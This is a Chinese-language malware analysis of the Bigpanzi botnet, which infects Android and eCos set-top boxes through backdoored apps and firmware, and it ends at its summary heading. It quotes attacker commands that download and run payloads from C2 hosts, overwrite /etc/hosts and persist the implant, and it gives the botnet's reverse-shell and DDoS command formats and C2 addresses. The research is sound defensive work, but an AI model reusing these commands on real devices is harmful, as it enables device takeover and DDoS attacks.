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笼罩在机顶盒上空的阴影：揭开隐蔽8年黑灰产团伙Bigpanzi的神秘面纱

Alex.Turing, Acey9, rootkiter

• 40 min read
笼罩在机顶盒上空的阴影：揭开隐蔽8年黑灰产团伙Bigpanzi的神秘面纱

背景

一段时间之前，我们捕获了一个VT 0 检测，使用变形UPX加壳，名为pandoraspear，MD5为9a1a6d484297a4e5d6249253f216ed69的可疑ELF样本。在分析过程中，我们发现它硬编码了9个C2域名，其中有2个域名过期的保护期已过，于是我们注册了这2个域名用以度量botnet的规模。在我们能观测的时间内bot的巅峰日活为17万左右，绝大部分位于巴西。

当这个团伙发现我们注册了他的域名之后，通过DDoS攻击我们注册的域名迫使域名下线以及修改被侵入设备hosts（通过修改机器hosts文件将特定域名指向特定IP，从而绕过DNS解析获得CC域名IP地址）等方式与我们展开了对抗，使得我们失去了大部分视野。

很快我们完成了对样本的逆向分析，并实现了针对该僵尸网络的攻击指令跟踪。依托于指令跟踪，我们捕获了该僵尸网络的a.sh，pd.sh，cpcdn.sh等下载脚本，这些脚本直接或间接的扩展了我们的视野。从直接的层面来说，这些脚本直接提供了该黑产团伙额外的implants，如pcdn，ptcrack，p2p_peer等；从间接的层面来说，我们发现这些脚本中的Downloader URL存在一定的模式，通过这个模式我们追踪到22个Downloader URL，它们被硬编码在一组APK中，用于下发存有pandoraspear/pcdn的Android平台升级固件。同时implants也有拔出萝卜带出泥的效果，比如通过pcdn中的的特定的字串，我们定位到2个Windsows平台的DDoS工具与此团伙相关；通过DDoS工具，我们又发现32个eCos平台的固件，它们内嵌的5个域名和pcdn的C2解析在同一个IP上。

随着分析与溯源工作的深入，一个从2015年开始活跃的大型黑产团伙慢慢浮出了水面，在我们眼前日益清晰。这个团伙主要针对的设备是Android操作系统的电视、机顶盒，eCos操作系统的机顶盒等。不同于一般的僵尸网络通过0/N day传播，这个团伙组建僵尸网络的主要手段是免费或廉价的满足用户的视听需求，即诱使用户安装免费的视频APP，或固件刷机安装廉价的影像娱乐平台，这些APP/平台都带有后门组件，一旦安装设备就成了黑产团伙私建流媒体平台中的一个业务流量节点；业务涵盖流量代理，DDoS攻击，互联网提供内容的服务（OTT），盗版流量（Pirate Traffic）等。基于这个僵尸网络庞大的规模，以及文件名pandoraspear，我们将这个团伙命名为Bigpanzi。

pan_bigbasic.png

从首次跟踪指令起，我们一直在安静的收集着各种线索，并逐步展开溯源，期望有朝一日能给Bigpanzi致命一击。2023年5月，pandoraspear引起了Dr.WEB的关注并于9月6日向社区公布了他们的发现，这补全了我们团队对pandoraspear通过盗版流量APK传播的感染方式的认知。

Bigpanzi的危害不仅有大家熟知的DDoS攻击，它还可以利用被控制的Android电视或机顶盒不受法律法规约束的传播任何图像、声音信息。这种攻击方式在现实世界已有真实的案例，如在2023年12月11日，阿联酋居民使用的机顶盒遭到网络攻击，常规内容被替换为显示巴以冲突的视频。试想，如果被Bigpanzi控制的TV、STB被用于传播暴力、恐怖、色情，亦或是利用当前足够以假乱真的AI技术炮制领导人的视频进行政治宣传，都会极大影响人们的正常生活秩序，危害社会稳定。

基于以上考量，我们决定编写本文，向社区公布我们的发现，希望有机会携手打击这个潜伏了8年的黑产团伙。

Bigpanzi的身份

我们在Pcdn样本中发现了一个downloader域名ak.tknxg.cf。通过Google，我们发现了2条有用的线索，它们一个是指导用户如何进行升级，一个是指导用户如何修复设备。尤其是前者https://www.youtube.com/@customersupportteam49的频道中大量视频是和设备操作相关的，有着极其浓重的“官方”的色彩。

pcdn_googclues.png

我们在西班牙产商FoneStar官方网站上的RDS-585WHD的产品介绍页中找到一个eCos系统的固件b0a192c6f2bbd7247dfef36665bf6c88。
pan_fonestar_firmware.png
这个固件中有和Pcdn一模一样的DDoS任务名，方法名等字符串，是一个“官方带毒固件”。（注：这不能说明FoneStart就是Bigpanzi！）

pan_conditionB.png

“官方视频号”的发现，“官方带毒固件”的发现，让我们开始怀疑Bigpanzi的真实身份。事实上我们的溯源有一定的成果，大量可靠证据指向一家从事相关业务的企业，但此处不便展开，对内幕感兴趣的读者，可以和我们联系！

规模

我们抢注了pandoraspear的2个C2域名mf1ve.com,ftsym1.com，在7天的窗口期观测的日活bot峰值为17万左右，绝大部分位于巴西地区。遗憾的是，作者通过Hosts劫持 + DDoS攻击进行反制，我们没有在这一点上过多对抗，主动停止解析，进而失去了这个视野。2023年8月15日，我们重新开启了mf1ve.com的解析，观测的bot日活峰值为77849，在10月13的日活数据为27446。

pando_cnt.png

2023年9月，我们抢注了pcdn中downloader域名dyanoe.com，观测的bot日活峰值为10月13日的80816。

pando_cnt.png

pandoraspear和pcdn是什么关系呢？在早期的下载脚本a.sh或na.sh有以下代码片段，其中pd.sh是用来下载更新pandoraspear，cpcdn.sh是用来下载更新pcdn，它们在被侵入的设备中是成对出现的。

pan_a.png

而在当前主推的下载脚本naa.sh中，pandoraspear单独出现，pcdn相关的代码被注释了。因此通过dyanoe.com观测到的数据可以当成存量数据，通过mf1ve.com和dyanoe.com俩者观测到的数据之和可以当成真实规模。

pan_naa.png

统计数据去重后的日活峰值为10月13日的107819，以上文的二者在10月13日的数据进行计算，27446+80816=108262，与107819的差值为443，重叠的部分极小，可以确定此僵尸网络的规模超过10万。

pan_total.png

Bot节点主要分布在巴西，8月至今累计IP去重后超过130万。

bigpan_worldmap.png

Bot节点在巴西境内的分布如下所示，绝大部在圣保罗。
pan_statbrazil.png

治理

10万量级的僵尸网络已经算是非常大的规模了，但我们认为这个规模离真实情况有一定的差距，原因有二。

  1. 观测手段的局限：无论是被抢注C2还是Downloader都只是pandoraspear/pcdn众多选择中的一个，这会造成遗漏。

  2. 设备的特殊性：TV或STB做为被侵入设备，它们有可能24小时都不会开机，这也会在造成遗漏。

有些读者或者会问，有没有办法测量pandoraspear的真实日活规模呢？答案是肯定的！
pandorspear会通过以下URL更新设备的hosts，因此理论上来说Amazon是可以统计到所有访问的IP。

pandoramain-1794008345.us-west-2.elb.amazonaws.com:8080/marketdatas/dns/hosts
pandorabackup-1322908155.us-west-2.elb.amazonaws.com:8080/marketdatas/dns/hosts

如此大规模的一个僵尸网络，有没有办法治理呢？答案也是肯定的！

  • 方案1：pandoraspear的9个C2中有2个在我们手中，只要按照网络协议进行应答，我们就能接管部分网络。

  • 方案2：pcdn对downloader下发的payload直接使用system命令执行，不进行校验。因此我们可以通过downloader下发脚本修改hosts，进而接管部分网络

  • 方案3：Amazon接管上述pandoraspear用于托管hosts的域名，下发新的hosts文件对C2进行劫持，进而接管整个网络。

感染方式

规模如此之大的一个僵尸网络，它又是如何感染设备的呢？目前我们知道Bigpanzi针对Android，eCos平台，使用过以下3种方法感染用户的设备。

  1. 通过盗版流量的电影&电视 APP（Android)
  2. 通过后门化的通用OTA固件（Android)
  3. 通过后门化的“SmartUpTool”固件（eCos)

Android: APP感染

关于此种方法Dr.Web的博文中已有详细分析，本文不展开，感兴趣的读者可自行参阅。

pan_drweb.png

Android: 后门化的OTA固件感染

第二种是通过后门化的通用OTA固件。我们是如何发现这一点的呢？我们在对pandoraspear对进行指令跟踪时，接收到了一些指令用于下载执行脚本，脚本中有以下的代码片段，我们认为 stb-download/tool/ 是一个很强的特征，通过它进行溯源或许能有惊喜。

function dl_file()
{
cd /data/ && rm -rf pdbak  && curl "http://fadfatest.pneydn.com:8080/stb-download/tool/$1" -o pdbak && chmo d 755 pdbak  
}

事实也是如此，当我们以“/stb-download/”进行hunting时，发现了以下22个非常可疑的域名，它们有统一的模式stb-download/s905{}/package_list.xml，分布在7个APK中，隶属于2个不同的包。

pan_apkupdate.png

以606939075437b985bce0d46b080419d9为例，在swl.app.Upgrade.UpdateHttpClient类的setUrl方法中可以看到上文所说的url。

pando_swl.png

这些apk的主要功能是根据不同的型号，向不同的url请求固件的下载地址，然后下载并升级固件。以xtsj.sisenji.com为例，它的package_list.xml内容如下所示，将Payload中的URL，NAME拼接在一起就得到一个OTA固件的下载地址。

pan_xmlinfo.png

此处为xtsj.sisenji.com:8080/stb-download/s905x/A3-ota-update-202007271610.zip，我们从这个地址下载的固件MD5为8b42856160806089fc63a97b0f31841d，将其解压后，在其/system/bin目录下，我们看到了熟悉的老朋友pandoraspear，pcdn。我们从18个URL中一共提取了4个固件，时间跨度从2019到2023，它们都有pandoraspear或pcdn，至此可以确定Bigpanzi会开发后门化的OTA升级包用于感染设备。

pando_dir.png

同时在setUrl方法中，有大量类似model.equalsIgnoreCase("Ebox")的代码，它们是用于设备型号比较。因此我们可以确定Bigpanzi攻击的设备类型，在7个APK中我们一共发现了以下12种不同的设备型号。

Ebox Obox Hbox+
Htv-6h H6-INT Luan2
A3 IceCream Tigre 2
A3 Pro H7 UniTV

除此之外，我们在一些论坛也发现了后门化的固件，比如在在论坛fonestero.com，一个昵称为EL_LARA的用户发布过一个名为IRIS1800-4K_Pro_11.08.2023.zip的固件，对应的MD5是b77b797ac55e378f952ce120bab97b12。

pan_ellara.png

这个固件是一个压缩包，里面包含了Bianpanzi的核心组件pandoraspear和pcdn。

pan_forum.png

eCos: 后门化的"SmartUpTool"固件感染

在Pcdn的溯源过程中我们发现一个DDoS Builder与此黑产团伙有关，它的一个C2域名为ruetsm.mkuspt.com。大量起始字符串是SmartUpToolRomFile的固件与该C2的一个subdomainboxupsev.mkuspt.com有关，其中部分固件中有Pcdn独特的攻击向量ddiy01task。

pan_smart.png

以d71e54f42d6b45604cf29780256032d8为例，SmartUpTool的格式我们并不清楚，此处直接用binwalk进行暴力尝试。
pan_walk.png

A0038文件中有大量与Pcdn的DDoS功能相关的字符串，且有5个域名与Pcdn的C2解析到了同一个IP上，因此我们推测这是一个带有类似Pcdn DDoS攻击模块的的后门化固件。

pan_ecosddos.png

这个固件的在VT的名字是Nueva_EMU_103_RDS_585_WHD_24_09_2021_Emu_Limpia_sin_canales_con_el_logo_Fonestar，我们在论坛fonestero.com论坛发现了它的踪迹，作者同样是EL_LARA。

pan_web.png

至此可以确定，Bigpanzi会在各种STB，DVB，IPTV论坛传播后门化的固件感染基于Android或eCos系统的机顶盒设备。

Bigpanzi样本分析

Bigpanzi团伙所用的样本种类繁多，涉及到PE，DEX，ELF等多种格式。下文将从ELF的pandoraspear开始逆向分析，并介绍我们是如何从一个样本出发，一步一步确认感染方式，攻击的设备，业务方向，最终描绘出一个庞大的黑产团伙。

在开始逆向分析之前，我们想先介绍一下Bigpanzi的样本在二进制层面以及程序运行时行所采用的对抗技巧，正是这些对抗使得它们长时间在安全产商雷达之内隐身，它们很简单但非常有效。

0x0: 对抗技巧

  • 变形UPX壳

    pandoraspear样本使用upx进行加壳，并将幻数修改为0x71284075，可以将这个幻数可以当成该团伙的一个特征，因为它长时间稳定不变。关于脱壳，只需将幻数修改为0x21585055（UPX!），然后upx -d即可。

    pan_upx.png

  • 动态链接

    pandoraspear使用动态链接，并依赖第3方的libcurl库，因此它在大部分的沙箱产品中是无法运行的，这是它长时间保持低检测率的重要原因。如果想运行或调试样本，需要补全合适的libcurl.so，我们在分析过程中使用的libcurl库为49F65662C089C5E009FB76AF1971F9DA。

    pan_dyn.png

  • ollvm

    pandoraspear使用了ollvm的控制流平坦化和指令替换技术。我们分析的v8到v10的功能其实变化不大，只是平坦化的函数越来越多，pass次数越来越多，这在IDA表现为函数的block块越来越多，比如在v8中没有平坦化的main函数有168个block，平坦化后膨胀为1110个block，而到了v10更是变成了惊人的1947。
    pan_ollvm.png

    关于去平坦化，社区已经有大量的方法和工具，我们使用“动态执行+LOG恢复法”，原理非常简单，这里不再展开。当然最好的办法是找到没有使用ollvm编译的版本，很幸运在早期溯源过程中，我们发现了没有使用ollvm的v1，v2，它们为我们早期的逆向工作提供了很大的帮助。

  • 反调试

    pandoraspear通过读取"/proc/{PID}/status"中的TracerPid是否为0，检测是否在调试状态。

0x1: Pandoraspear分析

从2015年开始pandoraspear一直在迭代更新，最新的版本号为v10，我们一共捕获了v1，v2，V4，V6到v10，总计8个不同版本的样本。经过交叉比对，可以确定它们的主要执行逻辑没有发生变化，只是在是否加壳，是否使用ollvm编译，以及支持的指令上有所不同。值的一提的是下图中pandoraspearrk明显比其它版本更大，体积膨胀的原因不是因为有新增的功能，仅仅是因为它内嵌了curl库。

pan_version.png

概括来说，pandoraspear是一个针对Android系统的后门木马，执行逻辑非常简单了明，可以分成以下3步：

  1. 首先向远程服务器请求加密的hosts文件，解密后替换被侵入设备的/etc/hosts，实现DNS劫持
  2. 然后和命令行指定的C2，或/data/.ms解密出的C2，或硬编码的C2建立通信
  3. 最后等待C2下发的指令，执行DDoS，反向shell，执行命令等功能

下文将围绕这3个步骤，剖析pandorspear的功能细节。

1.1 Hosts劫持

pandoraspear使用修改/etc/hosts的方式实现DNS劫持，首先通过libcurl的从样本硬编码的下载URL请求hosts文件，并保存到本地的/data/.hosts文件中。各个版本中内置的URL稍有不同，详情见附录IOC部分，目前处在第一顺序的URL为http://pandoramain-1794008345.us-west-2.elb.amazonaws.com:8080/marketdatas/dns/hosts，它的内容如下所示，可以看出它是加密的。

pan_awshosts.png

值得一提的是，我们在它的上一层目录dns中可以看到大量早期的hosts备份，时间可以追溯到2018年，Bigpanzi团伙一直在积极的维护，更新，发展自己的业务线。

pan_hostsback.png

hosts的解密过程可以分成以下3步，我们在附录提供了完整的解密脚本。

1：码表替换

2：移位计算，每6个字节通过移位得到4个字节

3：Blowfish ECB解密，key为硬编码的zAw2xidjP3eHQ

以07 Nov 2023 07:20:00的hosts为例，使用脚本解密得到的部分hosts如下所示，可以看到我们抢注的C2域名被重定向到pandoraspear自己的C2 IP71.19.252.13。

pan_c2sxlab.png

/data/.hosts解密后，再通过以下命令覆盖系统的/etc/hosts。

# 1:enable write

/system/xbin/busybox mount -o rw,remount /dev/block/system /system
mount -o rw,remount /dev/block/system /system
mount -o rw,remount /

# 2:replace /etc/hosts
/system/xbin/busybox cp -ar /data/.hosts /etc/hosts && chmo d 644 /etc/hosts && busybox rm -rf /data/.hosts
/vendor/xbin/busybox cp -ar /data/.hosts /etc/hosts && chmo d 644 /etc/hosts && busybox rm -rf /data/.hosts

# 3: disable write
/system/xbin/busybox mount -o ro,remount /dev/block/system /system
mount -o ro,remount /dev/block/system /system

Q: Pandoraspear为什么要劫持HOSTS？

hosts劫持不是什么特别高级的手法，但用的好，确实有奇效。我们认为pandoraspear劫持hosts的目的有以下3个。

  1. 传统的恶意目的：如网站屏蔽，入侵检测规避，信息窃取，网络钓鱼等
  2. 保护自身资产：当C2或重要业力的域名被抢注册或sinkhole时，通过hosts，重新拿回控制权
  3. 方便运营管理：作为一个长时间运营的黑产团伙，有些域名是短期业务或测试，通过hosts，不必注册，能够降低成本

1.2 启动Pcdn&上报设备状态

Pandoraspear会通过thpool_add_work启动2个工作任务runpcdn，report_status，前者用于启动pcdn进程，后者用于向C2上报设备的状态。

pando_task.png

在这俩个函数中，pandoraspear使用一种新的加密方法保护敏感字串，防止功能被一眼看破。

pando_decstr.png

以下为上图代码的等效python实现

def decbuf(buf):
    
    leng=buf[0]^buf[1]^buf[2]
    out=''
    for i in range(3,leng+3):
        tmp=((buf[i]^buf[1])-buf[1])&0xff
        out+=chr((tmp^buf[0]))
    print(out)

以runpcdn中的密文为例

pan_runb.png

解密后

pan_runa.png

实际上runpcdn只是通过sprintf函数将上图字串拼接成以下脚本，然后通过system函数执行，它的功能是判断系统中是否有pcdn进程，如果没有则执行/system/bin/pcdn或/data/.pcdn。

#!/system/bin/sh
pid=`ps|grep -v grep|grep "/system/bin/pcdn" |awk '{print $2}'`
if [ -z $pid ];then
/system/bin/pcdn >/dev/null 2>&1 &
or
/data/.pcdn >/dev/null 2>&1 &
fi

1.3 C2通信

Pandoraspear会按照以下顺序准备C2，在版本v6之前中1，2，3都支持，而从版本v7开始，则只支持2，3。

  1. 命令行指定

  2. /data/.ms

  3. 样本硬编码

值得一提的是/data/.ms中的C2是加密的，解密方法和上文的hosts相同。

pan_spear_ms.png

如果使用/data/.ms中C2的失败，则使用硬编码的C2。

pando_c2.png
Dr.Web的分析文章说“只有以上4个C2”，这一说法是有遗漏的。事实上是有4组C2，每组有3个，去重后一共有9个C2。

ok3.mf1ve.com
ok3.mflve.com
abcr.ftsym1.com
pcn.panddna.com
ppn.pnddon.com
apz.bsaldo.com
apz.pdonno.com
jgp.pdltdgie.com
romatotti520.xxxxx (mask)

pandoraspear通过上述任意一种方式获得C2后，尝试和其9999端口建立通信，发送加密的设备信息，通知上线。根据读取设备序列号的成功与否，设备信息的来源分成以下有2种：

  1. 读取序列号成功，将序列号，以及设备所在的Country，City，ISP等信息按照format 2拼接构成设备信息
  2. 读取序列号失败，将设备的MAC按照format 1进行拼接构成设备信息

pando_format.png

上线信息使用了和上文hosts一样的加密方式，以实际sinkhole接收的2个上线包为例，解密后的内容格式验证了前文的分析，其中1000表示上线，0008，0010为版本号。

  • format 1

    2Sk28.BdtyL19pbXp.MWRJC1dnVSR1HVx041cj2M10PhgOU1f5qPA0zCT/c/
# decryption
1000@12.002C:DD:5F:07:85:48@0010@19805@\x00

  • format 2

    GYQL4.o/a6t00O0Tr/gnAwg1yShGO0/cuPb.iqo9T073FpJ/sIk3q.oCJJz.VLr5K1vRpsW.pQhuT1vo6W31Q0g/h0OilPe.Swr2C0MKukK0Nokko0Q1I7l/yrCMv.GmGlu0oNPl7/R7/fi0wwZcC.yH.6F/tjiKO11z16i.

#decryption
1000@1a.01-22.10-22137263@0008@8367@193d3d@BR@Braganca Paulista@Redenilf Servi\xc3\xa7os de Telecomunica\xc3\xa7\xc3\xb5es Ltda@\x00\x00

以10月13日sinkhole观测的上线请求为例，版本号与请求数的对比见下表，8，9，10是现在的主流版本。

Version Request Count
0010 992537
0008 175722
0009 46178
0007 12397
0005 9360
0006 4785
0004 3264

1.4 指令

上线成功后，pandoraspear就开始等待执行C2下发的指令，指令采用了hosts同样的加密方式，解密后它的格式为cmd@cmd_item1@ cmd_item2@...@。我们收到的指令数超过10万条，近期部分指令如下所示：

pando_cmd.png

根据指令的格式，我们可以知道上图中的88，5000，6269代表了不同的命令，那它们功能是什么呢？其中88表示开启反弹shell，5000是通过/data/.ms指定C2，而6269则是执行命令。除了这些命令之外，pandoraspear还支持DDoS，自升级等指令，更多指令以及对应的功能，见下表。

v1 & v2支持的指令

Cmd Descrption
11 Add dns via /etc/hosts
12 Del dns via /etc/hosts
21 Download new version to /koocan/savebin, update
31-38 Pandoraspear ddos vectors: syn,upd,icmp,mix,smurf,tagr3,cc,dnsflood
88 Reverse shell
110 Stop ddos
3000 Write new c2 to /data/.ms, and connect to the server
5000 Write new c2 to /data/.ms
5555 Repalce c2 in /data/.ms with new c2
6269 Execute cmd

v4到v10支持的指令

v4(或v3)之后的版本支持v1,v2的所有指令，并加入了一些新的功能，其中最显著的是开始支持Mirai的攻击向量。

pan_mirai.png

39 11 mirai ddos vectors
200 Check if the MD5 of a file matches the provided MD5 and return the result to C2
201 Similar with 200, but if not match, download the provided MD5
4000 Add a new task into threadpool: Download and decrypted the freeze hosts, add new iptbales rules to drop the traffic related with freeze hosts
4001 Exec iptables -D INPUT %d ，delete the specific rule
4004 Add a new task into threadpool: Execute cmd return result to C2
4007 write info into /dec/block/hide(offset 0x2800 or 0x2c00)

1.5 通信实验

为验证分析的正确，我们设计了一个通信实验。我们在测试设备上创建/data/.ms，内容为测试Server的IP，在测试Server上配置了一个Fake C2；当Fake C2接收上线包后，下发一条reverse shell指令，一条syn flood的指令。.ms，reverse shell，syn flood所用的密文以及它们对应的明文如下所示：

测试设备的配置

  • data/.ms

    jTyzJ0Jsy9J0.dlr6.kpjwj1
#decryption:
45.14.106.78

测试Server的配置

Fake C2监听9999，nc监听12345端口。

  • reverse shell

    S6uhZ0bk5OR/2GoxK1ddQhJ1zMcR3//8TkY/
#decryptipn:
88@45.14.106.78@12345@\x00\x00

  • syn flood

    o4Bmz/HksdL12GoxK1ddQhJ1DJ8g8.GoiiS1
#decryption
31@45.14.106.78@8888@\x00\x00\x00

当测试设备收到上述指令后，会尝试和45.14.106.78:12345建立反向shell，
并使用syn flood的方式攻击45.14.106.78:8888。实际效果如下，可以看出和上文的分析是能一能对应的。

reverse shell

pan_rshell.png

syn flood
细心的读者肯定会发现pcap中的源地址都是伪造的，这是一种过时的syn攻击方法，现在大部分机房都会做源地址校验，因此这种syn的效果是非常差的。事实上pandoraspear自带的DDoS攻击方法都是很有“年代感”，效果不太好，这正是Bigpanzi团伙在V4(或V3)开始引入Mirai高效攻击向量的原因。

pan_synflood.png

1.6 指令跟踪的馈赠

pandoraspear是我们认知Bigpanzi的第一步，对它的分析完结只是一个开始。它让我们意识到在野活跃着一个这么庞大的僵尸网络，同时也带来了新的问题，如pandoraspear针对哪些设备，它是如何传播的，它背后的团伙是否设计了别的implants等等。带着这些疑问，我们开始了对该团伙的深入研究。很快我们在跟踪的指令中发现了以下downloader url。

http://fadfatest.pneydn.com:8080/stb-download/tool/a.sh
http://fadfatest.pneydn.com:8080/stb-download/tool/na.sh

它们的主要功能是下载执行pd.sh，和cpdn.sh，其中pd.sh对应的是pandoraspear；

pando_na.png

而cpdn.sh则对应了一个新的implant，pcdn。

pando_pcdn.png

至此我们知道pandoraspear并不孤单，它和pcdn成对出现。除pcdn之外，我们还捕获了ptcrack，play_station，p2p_peer等诸多implants。这些implants的download url都使用一个固定的模式/std-download/tool/，我们正是通过这个模式确认了上文所说的设备感染方式。

0x2：Pcdn分析

我们一共捕获了5个pcdn样本，不同于pandoraspear一直在更新，pcdn相对比较稳定，它的最后修改时间定格在2021年8月，MD5为7ccdaa9aa63114ab42d49f3fe81519d9。

pcdn_lastmod.png

概括来说，Pcdn的功能有俩个：主要功能在设备上搭建一个流媒体平台，并通过P2P协议将诸多被感染设备组网，形成一个类似P2P的内容分发网络(CDN)，这一点其实pcdn这个文件名已经暗示了它的企图，PCDN适用于视频点播，直播，回看，大文件下载的业务场景，我们推测Bigpanzi使用PCDN的业务场景是盗版视频的播放，以及相关APK的下载，这个PCDN被我们称之为Pandora-CDN；次要功能为将设备“武器化”，执行C2下发的指令，进行DDoS攻击。

2.1解密

和Pcdn俩大功能相关的大量敏感字串被加密保存在data段中，加密方法和pandoraspear是一样的。

pcdn_data_enc.png

为了方便逆向，我们实现了以下解密脚本（注：脚本并不完美，在0x00057A3E，0x00057BF6要手动patch）。

def decbuf(buf):
    
    leng=buf[0]^buf[1]^buf[2]
    out=''
    for i in range(3,leng+3):
        tmp=((buf[i]^buf[1])-buf[1])&0xff
        out+=chr((tmp^buf[0]))
    return out
        
data=ida_segment.get_segm_by_name('.data')
start=data.start_ea
buf=ida_bytes.get_bytes(start,data.size())
tmp=buf.split(b'\x00')

items=[]
for i in tmp:
    if len(i) >3 and i[0]^i[1]^i[2]==len(i)-3:
        items.append(i)


for item in items:
    i = ' '.join(f'{byte:02X}' for byte in item)
    offset=idc.find_binary(start,idaapi.SEARCH_DOWN,i)
    plain=decbuf(item).encode()
    print(hex(offset),plain)
    ida_bytes.patch_bytes(offset+3,plain)
    idc.create_strlit(offset+3,offset+len(item))

data段解密后如下所示：

pcdn_data_dec.png

2.2 持久化

pcdn通过init.amlogic.board.rc或lowmem_manager.sh，set_display_mode.sh实现持久化。实现逻辑如下：

  • 如果init.amlogic.board.rc中已有持久化的命令“service pcdn /system/bin/pcdn”，则将/data/pcdn重命名为/data.pcdn，并拷贝到/system/bin/pcdn，然后清除lowmem_manage.sh,set_display_mode.sh中持久化命令"/system/bin/pcdn&"
  • 反之将/data/pcdn拷贝到/system/bin/pcdn，并向lowmem_manage.sh,set_display_mode.sh中加入持久化的命令“/system/bin/pcdn&”。

pcdn_persist.png

2.3 组建PCDN网络

1: 向Pandora-CDN中心"注册"本节点

pcdn依然是通过/dev/block/hide,/dev/block/mtdblock4,/dev/block/mtdblock5中的任意一个设备获取设备的序列号，pcdn样本使用这个序列号向PCDN中心注册本节点。样本硬编码了以下2个中心域名，

pcdnbus.ou2sv.com
pcdnbus-bk.a2k3v.com

实际产生的流量如下图所示：

pcdn_reg.png

2: 端口映射

通过upnp协议实现端口映射，其中“NewPortMappingDescription”的值为PCDN_H，这是它的一个特征。另外请注意下图中的端口都是PCDN的业务端口。

pcdn_map.png

3: 下载所需要的工具包，执行脚本启动服务

pcdn通过线程thread_setup_pcdn_tookit下载PCDN所需要的工具套件。

pcdn_thread.png

thread_setup_pcdn_toolkit的逻辑比较简单，首先通过以下的脚本段判断系统中是否有/data/srs.sh，/data/p2p/play_station文件或/data/kcptun目录

if [ ! -f "/data/srs.sh" ];then ...
if [[ ! -f "/data/p2p/play_station" ]] && [[ ! -f "/system/bin/play_station" ]] then...
if [ ! -d "/data/kcptun" ] then...

若无则从远程服务器fadfa.dyanoe.com:8080或50.7.118.114:19091下载相应的pcdn.tar.gz，play.gz，ktptun.gz并解压到/data目录，实际上play.gz，kcptun.gz解压出的文件是pcdn.tar.gz中的一部分。

pcdn_targz.png

最后通过以下的脚本判断系统中是否有相应的组件进程，若无则启动相应的组件。

#!/system/bin/sh
pid=`ps|grep -v grep|grep "%s"|awk '{print $2}'`
if [ -z $pid ];then
%s
fi

其中第一个%s填入的是组件名，第2个%s则是以下启动组件的命令。

pcdn_toolkit.png

4: Pandora-CDN相关组件

pcdn.tar.gz中的文件列表如下所示，其中evlls目录下的srs一个支持是一个支持RTMP、HLS、HTTP-FLV等协议的流媒体服务器，kcp/kcptun目录下的组件和网络加速相关，ss目录下的组件是shadowsocks服务相关，p2p目录下p2p_peer和组网相关，play_station则和视频业务相关。

pcdn_details.png

前文端口映射中的各个端口，也分别出现在各大组件的配置文件中，如8337，8388俩个端口就出现在server-multi-port.json中。

{
	"port_password": {
		"8387": "foobar",
		"8388": "barfoo"
	},
	"method": "aes-128-cfb",
	"timeout": 600
}

简单来说，pcdn通过srs，ss，kcp等开源的软件将被侵入设备变成一个SRS的边缘节点以及SS代理服务器，并使用KCP加速，以保证服务质量，提高用户观影体验。关于Pandora-CDN的业务场景细节涉及到的太多组件，由于篇幅有限，本文就暂时不展开分析，将会在下一篇文章中进行补充。

0x5: http server

pcdn监听本地的tcp端口19906提供http服务，路径为/getsatus，查询参数为mode，可取的值有app，p2p，auth，portmapping。
pcdn_http.png
paly_station，punshHoleClient都会用到此服务查询被侵入设备的状态。

pan_punshHole.png

2.4 设备“武器化”

pcdn中有3个线程负责DDoS相关的任务，其中dropstimetask负责时间调度，dropstask负责和C2通信，接收指令，dropsinittask则是进行相应的DDoS攻击。

pcdn_droptask.png

在dropstask中硬编码了以下5个C2，使用的端口均为为31226(0x79fa)。

pcdn_c2s.png
Bot与C2的交互过程

  1. C2 --->Bot，下发Xor key(4 bytes)
  2. Bot--->C2，将SN等设备信息使用Xor key加密后(38bytes)上报给C2
  3. C2--->Bot，确认Bot上线(12 bytes)
  4. C2--->Bot，接收指令

dropsinittask根据接收的指令，选择相应的ddos_vector进行DDoS攻击。

pcdn_doscode.png

一共支持以下8种攻击向量。

dicmptask dudptask
dsyntask dtcptask
dkeeptask dhttptask
dposttask ddiy01task

2.5 来自Pcdn的馈赠

我们使用dropstimetask,dropstask,dropsinittask等字串时进行溯源，成功的定位到2个windows的DDoS工具，Fl00d和Fl00d 2.0。
pan_dlist.png

pan_ddoskits.png

0x3：DDoS工具分析

以上文提到的Fl00dce690167abeee4326d5369cceffadaaf为例，它是一个DDoS Builder，运行时的界面如下所示

pan_ddostool.png

点击slave按钮会弹出以下对话框用以配置，生成bot样本，支持STB,Linux,Windows 3个平台。

pan_bot.png

以上图默认配置生成的Linux64样本的MD5为d6285261d6b2d0a26d186e1b831664db，在IDA中可以看到大量"drops，task"相关的字串，
pan_ddosbot.png

很明显它与pcdn中DDoS相关的代码是一脉相承的。
pcdn_dstr.png

Pandoraspear，Pcdn中虽然有DDoS相关的功能，但是指令跟踪中一直没有收到和攻击的指令，这让我们对该团伙是否涉及DDoS业务是存疑的。直到DDoS工具的被发现，再结合我们抢注的C2域名一旦开始解析就会被DDoS攻击这一强关联性，我们才确信该团伙确实长期涉足DDoS产业的不法活动。至于为什么没有跟踪到攻击指令，或许是因为随着规模的扩大，Android TV&STB所在的内容业务线能带来较大的收益，属于高价值资产，该团伙不再使用它们进行DDoS攻击，DDoS的业务由其它的僵尸网络来承接。

来自DDoS Builder的馈赠

正如“感染方式”章节所说，我们通过DDoS Builder的C2，定位了325个的“SmartUpTool”固件，其中内嵌特别字串"ddiy01task"的有32个，它们都是eCos系统的固件。

pan_smartddiy.png
在这32个固件中，有和DDoS Builder的域名隶属于同一批SLD的FQDN。
pan_conditionC.png
有和Pcdn一模一样的DDoS Task & Vector 字串。
pan_conditionB.png

有和Pcdn C2解析到同一个IP地址162.209.126.216的DDoS C2。
pan_conditionA.png

而且这俩批C2域名有非常相似的模式。

pan_c2vt.png

这些现象已经不能用单纯的巧合来解释了，再加上已有用户在论坛抱怨自己的机顶盒有可疑的流量，我们有理由相信Bigpanzi的针对的目标包括eCos平台的机顶盒设备。
pan_vitw.png

0x4: 下期预告

Bigpanzi开发了各式各样的工具，由于篇幅的原因，本文着重分析Bigpanzi黑产团伙所用的核心组件pandorsapear&pcdn。我们将会在后续文章中分析其余有意思的组件，此处为部分组件的分析预告。

ptcrack:一个Go语言实现，针对众多协议cracker

pan_crackerfunc.png

我们指令跟踪中关于ptcrack的活动。

pan_ptt.png

p2p_peer：利用P2P协议实现Pandora-CDN节点发现

pan_p2p.png

p2p_peer会在7172端口提供http服务，这个暴露的web服务在我们全球鹰测绘平台中已累积27万IP。

pan_p2pmap.png

业务apks:一些利用Pandora-CDN观看视频直播的app

APP中使用的一些domain将pandoraspear,pcdn联系在一起

pan_apk.png

0x5: 总结

